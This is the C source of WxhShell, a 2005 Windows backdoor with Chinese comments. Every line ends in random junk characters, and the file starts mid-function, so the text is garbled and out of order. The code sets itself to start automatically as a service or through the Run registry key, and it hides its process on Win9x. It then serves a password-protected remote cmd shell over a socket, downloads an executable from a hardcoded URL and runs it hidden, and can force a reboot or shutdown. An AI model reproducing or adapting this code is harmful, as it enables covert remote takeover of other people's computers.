  case 'd': { 3a'Rs{qxn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v#Cz&j  
    if(Boot(SHUTDOWN)) :z izca4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =]_d pEEQ  
    else { mQwk!* U  
    closesocket(wsh); t9Enk!@  
    ExitThread(0); *r)zBr  
    } Wrf^O2  
    break; _&k'j)rg  
    } 7Y-FUZ.`>  
  // 获取shell U^E  
  case 's': { p9FA_(`^  
    CmdShell(wsh); uE,i-g0$Id  
    closesocket(wsh); blKDQ~T2  
    ExitThread(0); %v?jG(o  
    break; sDaT[).Hm  
  } Nz(c"3T;  
  // 退出 VxUvvJ{-v  
  case 'x': { Uv @!i0W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .4S^nP  
    CloseIt(wsh); _aXP ;kFMi  
    break; .u&&H_ UmE  
    } KKeb ioW  
  // 离开 SY!`a:It  
  case 'q': { !SLP8|Cd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C:'WX*W  
    closesocket(wsh); ]p4`7@@)*  
    WSACleanup(); #}[Sj-Vp  
    exit(1); ql#{=oGDnA  
    break; >,w\lf9  
        } rh:s 7  
  } TTA{#[=7  
  } Z^/z  
VYl_U?D  
  // 提示信息 fWtb mUq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A&NC0K}G!  
} D\45l  
  } *6 z'+'  
J[j/aDdP  
  return; v7{ P].M  
} I2t-D1X  
nvO%  
// shell模块句柄 EuKrYY]g  
int CmdShell(SOCKET sock) X7XCZSh#A  
{ 38x[Ad4%  
STARTUPINFO si; ^D ]7pe  
ZeroMemory(&si,sizeof(si)); 9[t]]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ({d,oU$>y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -dc5D@4`#s  
PROCESS_INFORMATION ProcessInfo; Q{H!s_6iyv  
char cmdline[]="cmd"; 2 Ft0C2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XhlI|h-j  
  return 0; ( )JYN5  
} !^Z[z[  
3X-{2R/ 3  
// 自身启动模式 %KabyvOl)  
int StartFromService(void) )[y!m9Vn  
{  m+72C]9  
typedef struct 7.lK$J:  
{ 8 7|8eU2:k  
  DWORD ExitStatus; O" X!S_R  
  DWORD PebBaseAddress; c"f-$^<  
  DWORD AffinityMask; 7(A G]  
  DWORD BasePriority; I&'S2=s  
  ULONG UniqueProcessId; KV^:sxU  
  ULONG InheritedFromUniqueProcessId; ^-e3=&  
}   PROCESS_BASIC_INFORMATION; ~WYE"(  
75hFyh;u  
PROCNTQSIP NtQueryInformationProcess; PK.h E{R  
8T>3@kF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y]QQvCJr3d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |*]X\UE  
zCj*:n  
  HANDLE             hProcess; &;NNU T>Q  
  PROCESS_BASIC_INFORMATION pbi; d!}jdt5%  
xVHQ[I%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |h^G$guw  
  if(NULL == hInst ) return 0; (?*mh?  
LhVLsa(-%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DiGUxnP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dFI.`pB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m &3HFf  
.swgXiRvs  
  if (!NtQueryInformationProcess) return 0; J#Ne:Aj_  
C$2o o@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }OX>(  
  if(!hProcess) return 0; G(7\<x:  
o3TBRn,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FM;;x(sg  
0f=N3)  
  CloseHandle(hProcess); j-I6QUd  
eBSn1n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6,g5To#vw  
if(hProcess==NULL) return 0; r$3~bS$]  
N) V7yo?  
HMODULE hMod; Y bn=Gy  
char procName[255]; _Sk< S  
unsigned long cbNeeded; ;8%@Lan  
Ivt)Eg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?VOs:sln  
nI|Lx`*v  
  CloseHandle(hProcess); HkfSx rTgQ  
c~0VNuN  
if(strstr(procName,"services")) return 1; // 以服务启动 eHnei F  
YVZSKU  
  return 0; // 注册表启动 O w($\,  
} qs8K jG@  
Be14$7r  
// 主模块 {Gb)Et]<  
int StartWxhshell(LPSTR lpCmdLine) gk_Xu  
{ zM8/ s96h  
  SOCKET wsl; A\PV@w%A i  
BOOL val=TRUE; . f.j >  
  int port=0; ZAnO$pA  
  struct sockaddr_in door; S{"6PXzb  
@|\s$L  
  if(wscfg.ws_autoins) Install(); -%/,j)VKD  
<-oRhi4  
port=atoi(lpCmdLine); (W}i287  
HZr/0I?  
if(port<=0) port=wscfg.ws_port; =DF@kR[CH"  
|$|nV^y  
  WSADATA data; *2m&?,nJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d~z<,_ r5c  
 7 zP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /xrq'|r?C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /J9T=N  
  door.sin_family = AF_INET; c J"]yG)=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d,Dg"Z  
  door.sin_port = htons(port); Z#cU#)`y1  
;ijfI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \ \mO+N47i  
closesocket(wsl); \'^Z_6{w  
return 1; R=Ly49  
} n nnA,  
*V@MAt  
  if(listen(wsl,2) == INVALID_SOCKET) { g9lg  
closesocket(wsl); E*T84Jh6  
return 1; T=f;n;/>  
} gx>mKSzy  
  Wxhshell(wsl); 7q{v9xKy  
  WSACleanup(); BI]ut |Qw  
~cg+BAfu  
return 0; W*/s4 N  
_I70qz8  
} KxTYc  
_^2[(<Gmv  
// 以NT服务方式启动 $85o%siS'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hk$nlc|$  
{  9jzLXym  
DWORD   status = 0; CyBM4qyH  
  DWORD   specificError = 0xfffffff; 2S10j%EeI  
WCfe!P?g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9:Z~}yX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [Ey%uh 6*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %Ty {1'o  
  serviceStatus.dwWin32ExitCode     = 0; fdH'z:Xao  
  serviceStatus.dwServiceSpecificExitCode = 0; RVKaqJ0e<  
  serviceStatus.dwCheckPoint       = 0; ^%OH}Z`ly  
  serviceStatus.dwWaitHint       = 0; K/.hJ  
X)R] a]1A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r`E1<aCr|  
  if (hServiceStatusHandle==0) return; 4oa P"T@6  
{ZIFj.2  
status = GetLastError(); Mp @(/  
  if (status!=NO_ERROR) ,E8>:-boL  
{ y@8399;l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9q@YE_ji  
    serviceStatus.dwCheckPoint       = 0; N n-6/]d#  
    serviceStatus.dwWaitHint       = 0; uxJiec`&  
    serviceStatus.dwWin32ExitCode     = status; "?0 G^zu  
    serviceStatus.dwServiceSpecificExitCode = specificError; xY}j8~k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <!HD tN  
    return; +&zuI  
  } 7Caap/L:  
o  >4>7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Zz*mf+  
  serviceStatus.dwCheckPoint       = 0; [6gHi.`p'  
  serviceStatus.dwWaitHint       = 0; %Ja{IWz9L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Hr,lA(  
} ZxeE6&#M^w  
C"|_j?  
// 处理NT服务事件,比如:启动、停止 _TcQ12H 5<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X'Il:SK  
{  9DAwC:<r  
switch(fdwControl) FEi,^V  
{ Ly/~N/<\  
case SERVICE_CONTROL_STOP: _j<M}  
  serviceStatus.dwWin32ExitCode = 0; wm`"yNbD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %>:)4A  
  serviceStatus.dwCheckPoint   = 0; :<7>-+pa  
  serviceStatus.dwWaitHint     = 0; V^5k> `A  
  { 3UtXxL&L`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y?4=u,{C  
  } p`.fYW:p  
  return; cZ2, u,4  
case SERVICE_CONTROL_PAUSE: iwTBE]J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BL^Hj  
  break; ;A'17B8  
case SERVICE_CONTROL_CONTINUE: l#f]KLv4N_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9d(v^T  
  break; <EN[s  
case SERVICE_CONTROL_INTERROGATE: ( 2(;u1  
  break; :;u]Y7  
}; 2<./HH*f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;}9Ws6#XQs  
} ^p%+rB.j[  
q9z!g/,d/  
// 标准应用程序主函数 zyn =Xv@p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {[y"]_B4  
{ w3|.4hS  
hfa_M[#Q-  
// 获取操作系统版本 E1Aa2  
OsIsNt=GetOsVer(); _~&v s<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {j4:. fD  
w)SxwlW}  
  // 从命令行安装 soK_l|z:J  
  if(strpbrk(lpCmdLine,"iI")) Install(); \D k^\-  
L#MxB|fcr  
  // 下载执行文件 n8D;6#P^  
if(wscfg.ws_downexe) { |N.q[>^R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y$5v3E\uc  
  WinExec(wscfg.ws_filenam,SW_HIDE); Kyiez]T6%q  
} w}<I\*\`!  
x(6.W"-S  
if(!OsIsNt) { 7Ki7N{K t  
// 如果时win9x,隐藏进程并且设置为注册表启动 m64\@ [  
HideProc(); ]`U?<9~Ob  
StartWxhshell(lpCmdLine); j|8{Vyqd  
} 7uH{UpslJ  
else T $]L 5  
  if(StartFromService()) >a~FSZf  
  // 以服务方式启动 \V\ET  
  StartServiceCtrlDispatcher(DispatchTable); wm[d5A4  
else AQGE(%X  
  // 普通方式启动 `,=p\g|D  
  StartWxhshell(lpCmdLine); ?bi^h/ f  
qiJ;v1  
return 0; j 0NPd^  
} <[??\YOc  
*Z(C' )7r  
9 f/tNQ7W  
iEO2Bil]  
=========================================== EB<tX`Wp  
f3|=T8"t  
Q#bo!]H{t  
2_ DtzY:=  
Q*o4zW  
} +Z;zm@/6  
" ttt&sW`  
+/8?+1E ^  
#include <stdio.h> 9:5NX3"p  
#include <string.h> UZ0O j5B.  
#include <windows.h> K`2DhJC  
#include <winsock2.h> OtqLigt&l  
#include <winsvc.h> \K=PIcH  
#include <urlmon.h> ;8kfgp M_  
4tKf  
#pragma comment (lib, "Ws2_32.lib") AMfu|%ZL  
#pragma comment (lib, "urlmon.lib") A|nU _*  
-<.NEV  
#define MAX_USER   100 // 最大客户端连接数 }+3~y'k  
#define BUF_SOCK   200 // sock buffer 2Rt ZTn  
#define KEY_BUFF   255 // 输入 buffer (G'ddZAJV  
,urkd~  
#define REBOOT     0   // 重启 ;!Bkk9r"H  
#define SHUTDOWN   1   // 关机 5mBk[{  
CBHWMetJ*  
#define DEF_PORT   5000 // 监听端口 cne[-E  
sTYl' Ieg  
#define REG_LEN     16   // 注册表键长度 1 .k}gl0<  
#define SVC_LEN     80   // NT服务名长度 ~kFRy{z  
GoXHVUyp  
// 从dll定义API uf3 gVS_h=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I9aber1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {(Z1JoSl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Onyq'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  .l'QCW9  
`/iN%ZKum  
// wxhshell配置信息 AIo;\35  
struct WSCFG { |%9~W^b  
  int ws_port;         // 监听端口 J#nEGl|a  
  char ws_passstr[REG_LEN]; // 口令 $o^}<)DW  
  int ws_autoins;       // 安装标记, 1=yes 0=no B-zt(HG  
  char ws_regname[REG_LEN]; // 注册表键名 1 crjRbi  
  char ws_svcname[REG_LEN]; // 服务名 F.hC%Ncu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OQyOv%g5C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8b $7#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ThB2U(Wf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M](U"K?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;W:Q}[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !%=k/|#  
RmCR"~   
}; Vt>E\{@[t  
]t<%>Z$  
// default Wxhshell configuration > [7vX m4  
struct WSCFG wscfg={DEF_PORT, 3EdPKM j&  
    "xuhuanlingzhe", :eO0{JN4T  
    1, Ha\hQ'99  
    "Wxhshell", s=+G%B'  
    "Wxhshell", 2|EoP-K7  
            "WxhShell Service", 5lbh "m=  
    "Wrsky Windows CmdShell Service", fA5# 2P{  
    "Please Input Your Password: ", 0U~JSmj:2K  
  1, ]|(?i ,p  
  "http://www.wrsky.com/wxhshell.exe", <9vkiEo  
  "Wxhshell.exe" y3GIR f;>  
    }; {^iV<>J  
W3kilhZ  
// 消息定义模块 d{jl&:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c0~'5Mlp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xCD+qP ^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `^x^= og'  
char *msg_ws_ext="\n\rExit."; Kxn=iv^Ir  
char *msg_ws_end="\n\rQuit."; /xnhHwJm  
char *msg_ws_boot="\n\rReboot..."; 7Q&P4{hi0  
char *msg_ws_poff="\n\rShutdown..."; <Do89  
char *msg_ws_down="\n\rSave to "; >~ :]+q  
"tIx$?I  
char *msg_ws_err="\n\rErr!"; ,'}ZcN2)  
char *msg_ws_ok="\n\rOK!"; wz57.e!Me=  
\/%mabLK  
char ExeFile[MAX_PATH]; k2a^gCBC  
int nUser = 0; CJ>=odK[  
HANDLE handles[MAX_USER]; mbK$Wp#  
int OsIsNt; %G*D0pE  
3]Mx,u  
SERVICE_STATUS       serviceStatus; zjS<e XLs[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EWi@1PAZK  
:yeTzIz]  
// 函数声明 ?T&D@Ohsx  
int Install(void); sh RvwE[  
int Uninstall(void); BH1To&ol  
int DownloadFile(char *sURL, SOCKET wsh); ubw ]}sfM#  
int Boot(int flag); O)?0G$0  
void HideProc(void); I&9B^fF6  
int GetOsVer(void); Gy5W;,$q  
int Wxhshell(SOCKET wsl); ){Y2TWW&0  
void TalkWithClient(void *cs); c4|.!AQ>  
int CmdShell(SOCKET sock); ' =kX   
int StartFromService(void); 0ni5:tYy  
int StartWxhshell(LPSTR lpCmdLine); t+VPX2  
qi$8GX=~r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,$Mw/fA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); utXcfKdt  
&nss[w$%C  
// 数据结构和表定义 /:DxB00  
SERVICE_TABLE_ENTRY DispatchTable[] = \]D;HR`vo  
{ D'X'h}+2  
{wscfg.ws_svcname, NTServiceMain}, mTt 9 o9E  
{NULL, NULL} "T'!cy  
}; #'[ f^xgJ  
7hc(]8eP  
// 自我安装 J';tpr  
int Install(void) X$aMf &x  
{ !dGgLU_  
  char svExeFile[MAX_PATH]; = 2k+/0ZbP  
  HKEY key; mnePm{  
  strcpy(svExeFile,ExeFile); Ldu!uihx  
%+.]>''a  
// 如果是win9x系统,修改注册表设为自启动 JBqzQ^[n  
if(!OsIsNt) { sTb/l!=o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^ZsME,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1_' ZbZv4h  
  RegCloseKey(key); REJ}T:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .F]6uXd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HZm44y$/  
  RegCloseKey(key); [x&&N*>N  
  return 0; * PZ=$>r  
    } # ;9KDt@  
  } H/b(dbs  
} yP@= x!$  
else { } E=mZZ)  
m=R4A4Y7  
// 如果是NT以上系统,安装为系统服务 U> >J_2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1osI~oNZ  
if (schSCManager!=0) @ZmpcoDI  
{ f?]cW h%  
  SC_HANDLE schService = CreateService )z aMycW  
  ( Vq*p?cF .  
  schSCManager, @U&|38  
  wscfg.ws_svcname, GV9"8M Z6  
  wscfg.ws_svcdisp, Deam%)bXM]  
  SERVICE_ALL_ACCESS, b~|B(lL6Xm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {kC]x2 U  
  SERVICE_AUTO_START, 2XE4w# [j  
  SERVICE_ERROR_NORMAL, r"n)I$  
  svExeFile, h'bxgIl'`  
  NULL, @/9> /?JP  
  NULL, zIL.R#|D=  
  NULL, {3;4=R3  
  NULL, W&"FejD  
  NULL f; 22viE  
  ); ~6OdPD  
  if (schService!=0) m?csake.Me  
  { wiutUb Y  
  CloseServiceHandle(schService); GVg0)}  
  CloseServiceHandle(schSCManager); X9P-fF?0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PBUc9/  
  strcat(svExeFile,wscfg.ws_svcname); r1[0#5kJ;J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .8,lhcpY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !,\]> c  
  RegCloseKey(key); N=wB1gJ  
  return 0; &W ~,q(  
    } A}%sF MA  
  } 8mV35A7l  
  CloseServiceHandle(schSCManager); F 4k`x/ak  
} "];19]x6q  
} ie_wJ=s  
|HL1.;1  
return 1; /g_}5s-Z  
} 6Us#4 v,  
55#H A?cR  
// 自我卸载 $`uL^ hlj]  
int Uninstall(void) Di&tm1R1  
{ (BJs6":BFe  
  HKEY key; F`3I~(  
Q%85,L^U  
if(!OsIsNt) { lwK Au!l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I|p(8 R!  
  RegDeleteValue(key,wscfg.ws_regname); 6VA@;g0$  
  RegCloseKey(key); mtHw!*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l<gg5 Zea  
  RegDeleteValue(key,wscfg.ws_regname); * @oAM,@  
  RegCloseKey(key); < B'BlqTS  
  return 0; $Q ?<']|A  
  } \}cEHLq  
} |=SaI%%Be  
} ua2SW(C@  
else { 1X=}  
Jo2:0<VL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s]}P jh8  
if (schSCManager!=0) E*CY/F I_  
{ [Y5B$7|s<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D@!#79:)  
  if (schService!=0) P[D ^*}  
  { H3&$:h  
  if(DeleteService(schService)!=0) { 2?HLEiI1  
  CloseServiceHandle(schService); vmL0H)q  
  CloseServiceHandle(schSCManager); ba ,2.|  
  return 0; @o_-UsUX  
  } Yw./V0Z{@  
  CloseServiceHandle(schService); '(ql7  
  } Xbfn@7m  
  CloseServiceHandle(schSCManager); EKgTRRW  
} HogT#BMs  
} C EAwQH  
M[SWMVN{  
return 1; 0kmZO"K#e  
} 'sJYt^  
>d_O0a*W-  
// 从指定url下载文件 aQcJjF5x  
int DownloadFile(char *sURL, SOCKET wsh) oKzLt  
{ X+iUT  
  HRESULT hr; b^rPw@  
char seps[]= "/"; z`'{l {  
char *token; @'dtlY5;  
char *file; YX- G>.Pc  
char myURL[MAX_PATH]; *;Sj&O  
char myFILE[MAX_PATH]; b1_HDC(  
*_@8v?  
strcpy(myURL,sURL); |LWG7 ZE  
  token=strtok(myURL,seps); ]M#_o]  
  while(token!=NULL) `N$<]i]s5  
  { .]P@{T||Y  
    file=token; O TSbhI'v  
  token=strtok(NULL,seps); ;jS~0R  
  } A[^fG_l4  
iku) otUc  
GetCurrentDirectory(MAX_PATH,myFILE); aO6w :IO  
strcat(myFILE, "\\"); {4\(HrGNk  
strcat(myFILE, file); %i$]S`A}  
  send(wsh,myFILE,strlen(myFILE),0); 'f]\@&Np  
send(wsh,"...",3,0); :Fu.S1j$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O\8_;Gc;  
  if(hr==S_OK) S}mqK|!  
return 0;  {|a=  
else .r$d 8J  
return 1; 6Xbo:#  
$SA8$!:  
} {p-&8-  
^pIT,|myY7  
// 系统电源模块 Xb.WI\Eh  
int Boot(int flag) w 7s+6,  
{ xmsw'\  
  HANDLE hToken; tWT@%(2~0  
  TOKEN_PRIVILEGES tkp; } U\n:@:2B  
(w `9*1NO  
  if(OsIsNt) { ~{/"fTif  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r< sx On  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |aIY  
    tkp.PrivilegeCount = 1; `2( )Vf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 73 ix4C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 09HlL=0q  
if(flag==REBOOT) { AQ7w5}g+V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %i 6i.TF  
  return 0; f+d[Q1  
} }\?UmuolQ  
else { AT+7!UGL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3]$qY_|7  
  return 0; +O8rjVg)  
} R utRA  
  } "Y-_83  
  else { Yi:@>A<#  
if(flag==REBOOT) { lpi^<LQ@l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jv_z%`  
  return 0; Rf9;jwU  
} m:_'r"o  
else { AU0pJB'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _[SW89zk  
  return 0; W"MwpV  
} Te_%r9P|2  
} > yk2  
?%K7IJ%  
return 1; }]VFLBl`w  
} #6* j+SX^  
%PW_v~sg  
// win9x进程隐藏模块 U|Z Yoc+](  
void HideProc(void) bh V.uBH  
{ 41dB4Td5t  
}RvinF:5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -q'G]}  
  if ( hKernel != NULL ) Okxuhzn>"  
  { F5s Pd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X2\1OWR0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AYb-BaIc  
    FreeLibrary(hKernel); a/p} ?!\  
  } }JPLhr|d^  
gn,D9d+  
return; $z[FL=h)?+  
} kMd1)6%6A  
&&SA/;F  
// 获取操作系统版本 bYt [/K,  
int GetOsVer(void) N=%4V  
{ "=H(\ V  
  OSVERSIONINFO winfo; 0Ez(;4]3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); + xYU$e6Z  
  GetVersionEx(&winfo); {Qv Whf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pg0Sq9qCN  
  return 1; *,az`U  
  else b5!D('w>]  
  return 0; .! 'SG6 q  
} we?# Dui  
,v\^efc:%  
// 客户端句柄模块 v_G1YC7TU  
int Wxhshell(SOCKET wsl) 1xBgb/+  
{ GoSdo  
  SOCKET wsh; 7H=V|Btnc  
  struct sockaddr_in client; 9:9gam  
  DWORD myID; 3:wN^!A}ve  
:}0>IPW-V  
  while(nUser<MAX_USER) 3mP251"dIW  
{ 2J;_9 g&M  
  int nSize=sizeof(client); s]X0}"cz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e2F{}N  
  if(wsh==INVALID_SOCKET) return 1; b';oFUU>Q  
~$PY6s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^GL>xlZ(  
if(handles[nUser]==0) sx1w5rj.Y0  
  closesocket(wsh); JiN>sEAM  
else H;w8[ImK  
  nUser++; FHOF 6}if  
  } u7(<YSOs  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -}x( MZ  
*TyLB&<t  
  return 0; 2pQ29  
} l~(A(1  
" i!Xiy~  
// 关闭 socket Ie"eqO!  
void CloseIt(SOCKET wsh) 4(nwi[1Y  
{ @h=r;N#/`P  
closesocket(wsh); |X47&Y  
nUser--; %^KNY ;E  
ExitThread(0); (ay((|)  
} 5.M82rR; ~  
2e?a"Vss  
// 客户端请求句柄 T"_f9?  
void TalkWithClient(void *cs) 3q-Xj:FP  
{ BG/Q7s-?K  
i&m t-  
  SOCKET wsh=(SOCKET)cs; pOq9J7BS  
  char pwd[SVC_LEN]; 8{4SaT.-Rm  
  char cmd[KEY_BUFF]; P1G;JK  
char chr[1]; W!Fu7a  
int i,j; 2H,n"-9+  
!-AK@`i.  
  while (nUser < MAX_USER) { \DMZ M  
CpLLsphy  
if(wscfg.ws_passstr) { B>r>z5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sD=iHO Am  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [cso$Tv  
  //ZeroMemory(pwd,KEY_BUFF); R1?LB"aN  
      i=0; HRg< f= oz  
  while(i<SVC_LEN) { >xCc#]v&  
AFdBf6/" i  
  // 设置超时 8, " 5z_  
  fd_set FdRead; n?mV(?N  
  struct timeval TimeOut; 9f #6Q*/  
  FD_ZERO(&FdRead); 4Ai#$SHLm  
  FD_SET(wsh,&FdRead); Lj2Au_5  
  TimeOut.tv_sec=8; zvOSQxGQ  
  TimeOut.tv_usec=0; + 'V ,z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HDHC9E6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }cO}H2m  
~0V,B1a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,Pj UlcO_  
  pwd=chr[0]; I?OnEw  
  if(chr[0]==0xd || chr[0]==0xa) { 2fFGS.l  
  pwd=0; (@i2a  
  break; ItxC}qT  
  } y^}00Z+l  
  i++; 7El:$H  
    } mO^ )k  
)-\[A<(  
  // 如果是非法用户,关闭 socket IA~wmOF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tB#-}Gf  
} d)1Pl3+  
jrN"en  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B&Iy_;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^kh@AgG^  
=z4kK_?F,  
while(1) { aTFT'(O,  
oGKk2oP  
  ZeroMemory(cmd,KEY_BUFF); L(`Rf0smt  
u.ub:  
      // 自动支持客户端 telnet标准   h(gpq SN  
  j=0; _ lE d8Cb  
  while(j<KEY_BUFF) { VRA0p[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~#PC(g  
  cmd[j]=chr[0]; T{4Ru6[  
  if(chr[0]==0xa || chr[0]==0xd) { ay>u``$R  
  cmd[j]=0; <2ymfL-q  
  break; "yf#sEabV  
  } !b{7gUjyI  
  j++; :<PwG]LO  
    } [DSD[[ z[  
S*'  
  // 下载文件 0oPcZ""X]  
  if(strstr(cmd,"http://")) { ZU K'z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )uazB!X  
  if(DownloadFile(cmd,wsh)) #G\;)pT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Np2.X+  
  else l~'NqmXe  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cIOM}/gqv  
  } %y[ t+)!E  
